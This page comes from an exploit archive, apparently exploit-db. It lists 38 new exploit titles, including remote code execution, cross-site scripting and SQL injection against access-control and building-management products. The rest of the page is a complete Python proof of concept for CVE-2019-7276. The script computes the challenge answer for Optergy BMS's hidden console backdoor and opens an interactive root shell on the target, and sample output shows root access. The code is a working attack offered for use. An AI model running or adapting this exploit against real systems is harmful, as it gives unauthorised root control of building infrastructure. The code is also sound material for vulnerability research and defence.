c8181201fd
38 changes to exploits/shellcodes Acronis True Image OEM 19.0.5128 - 'afcdpsrv' Unquoted Service Path Wondershare Application Framework Service 2.4.3.231 - 'WsAppService' Unquote Service Path Alps Pointing-device Controller 8.1202.1711.04 - 'ApHidMonitorService' Unquoted Service Path RTK IIS Codec Service 6.4.10041.133 - 'RtkI2SCodec' Unquote Service Path Control Center PRO 6.2.9 - Local Stack Based Buffer Overflow (SEH) Wondershare Application Framework Service - _WsAppService_ Unquote Service Path eMerge E3 Access Controller 4.6.07 - Remote Code Execution eMerge E3 Access Controller 4.6.07 - Remote Code Execution (Metasploit) CBAS-Web 19.0.0 - Information Disclosure Prima FlexAir Access Control 2.3.38 - Remote Code Execution Adrenalin Core HCM 5.4.0 - 'prntDDLCntrlName' Reflected Cross-Site Scripting Computrols CBAS-Web 19.0.0 - 'username' Reflected Cross-Site Scripting Adrenalin Core HCM 5.4.0 - 'strAction' Reflected Cross-Site Scripting eMerge E3 1.00-06 - Unauthenticated Directory Traversal eMerge E3 1.00-06 - Privilege Escalation eMerge E3 1.00-06 - Remote Code Execution eMerge E3 1.00-06 - Cross-Site Request Forgery Atlassian Confluence 6.15.1 - Directory Traversal eMerge E3 1.00-06 - Arbitrary File Upload eMerge E3 1.00-06 - 'layout' Reflected Cross-Site Scripting eMerge50P 5000P 4.6.07 - Remote Code Execution CBAS-Web 19.0.0 - Remote Code Execution CBAS-Web 19.0.0 - Cross-Site Request Forgery (Add Super Admin) CBAS-Web 19.0.0 - Username Enumeration CBAS-Web 19.0.0 - 'id' Boolean-based Blind SQL Injection Joomla 3.9.13 - 'Host' Header Injection Prima Access Control 2.3.35 - 'HwName' Persistent Cross-Site Scripting Prima Access Control 2.3.35 - Arbitrary File Upload Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit) Optergy 2.3.0a - Remote Code Execution FlexAir Access Control 2.4.9api3 - Remote Code Execution Optergy 2.3.0a - Cross-Site Request Forgery (Add Admin) Optergy 2.3.0a - Username Disclosure Optergy 2.3.0a - Remote Code Execution (Backdoor) Adrenalin Core HCM 5.4.0 - 'ReportID' Reflected Cross-Site Scripting FlexAir Access Control 2.3.35 - Authentication Bypass Bematech Printer MP-4200 - Denial of Service
83 lines
No EOL
2.8 KiB
Python
Executable file
83 lines
No EOL
2.8 KiB
Python
Executable file
# Title: Optergy 2.3.0a - Remote Code Execution
|
|
# Author: LiquidWorm
|
|
# Date: 2019-11-05
|
|
# Vendor: https://optergy.com/
|
|
# Product web page: https://optergy.com/products/
|
|
# Affected version: <=2.3.0a
|
|
# Advisory: https://applied-risk.com/resources/ar-2019-008
|
|
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
|
|
# CVE: CVE-2019-7276
|
|
|
|
# PoC:
|
|
|
|
#!/usr/bin/env python
|
|
#
|
|
# Unauthenticated Remote Root Exploit in Optergy BMS (Console Backdoor)
|
|
#
|
|
# Affected version <=2.0.3a (Proton and Enterprise)
|
|
#
|
|
##############################################################################
|
|
#
|
|
# lqwrm@metalgear:~/stuff/optergy$ python getroot.py 192.168.232.19
|
|
# Challenge received: 1547540929287
|
|
# SHA1: 56a6e5bf103591ed45faa2159cae234d04f06d93
|
|
# MD5 from SHA1: 873efc9ca9171d575623a99aeda44e31
|
|
# Answer: 56a6e5bf103591ed45faa2159cae234d04f06d93873efc9ca9171d575623a99aeda44e31
|
|
# # id
|
|
# uid=0(root) gid=0(root) groups=0(root)
|
|
#
|
|
##############################################################################
|
|
#
|
|
#
|
|
|
|
import os#######
|
|
import sys######
|
|
import json#####
|
|
import hashlib##
|
|
import requests#
|
|
|
|
piton = os.path.basename(sys.argv[0])
|
|
|
|
if len(sys.argv) < 2:
|
|
print '\n\x20\x20[*] Usage: '+piton+' <ip:port>\n'
|
|
sys.exit()
|
|
|
|
while True:
|
|
|
|
challenge_url = 'http://'+sys.argv[1]+'/tools/ajax/ConsoleResult.html?get'
|
|
|
|
try:
|
|
req1 = requests.get(challenge_url)
|
|
get_challenge = json.loads(req1.text)
|
|
challenge = get_challenge['response']['message']
|
|
print 'Challenge received: ' + challenge
|
|
|
|
hash_object = hashlib.sha1(challenge.encode())
|
|
print 'SHA1: '+(hash_object.hexdigest())
|
|
h1 = (hash_object.hexdigest())
|
|
hash_object = hashlib.md5(h1.encode())
|
|
print 'MD5 from SHA1: '+(hash_object.hexdigest())
|
|
h2 = (hash_object.hexdigest())
|
|
print 'Answer: '+h1+h2
|
|
|
|
zeTargets = 'http://'+sys.argv[1]+'/tools/ajax/ConsoleResult.html'
|
|
zeCommand = raw_input('# ')
|
|
if zeCommand.strip() == 'exit':
|
|
sys.exit()
|
|
zeHeaders = {'User-Agent' : 'BB/BMS-251.4ev4h',
|
|
'Accept' : '*/*',
|
|
'Accept-Encoding' : 'gzip, deflate',
|
|
'Accept-Language' : 'mk-MK,mk;q=1.7',
|
|
'Connection' : 'keep-alive',
|
|
'Connection-Type' : 'application/x-www-form-urlencoded'}
|
|
zePardata = {'command' : 'sudo '+zeCommand,
|
|
'challenge' : challenge,
|
|
'answer' : h1+h2}
|
|
|
|
zeRequest = requests.post(zeTargets, headers=zeHeaders, data=zePardata)
|
|
get_resp = json.loads(zeRequest.text)
|
|
get_answ = get_resp['response']['message']
|
|
print get_answ
|
|
except Exception:
|
|
print '[*] Error!'
|
|
break |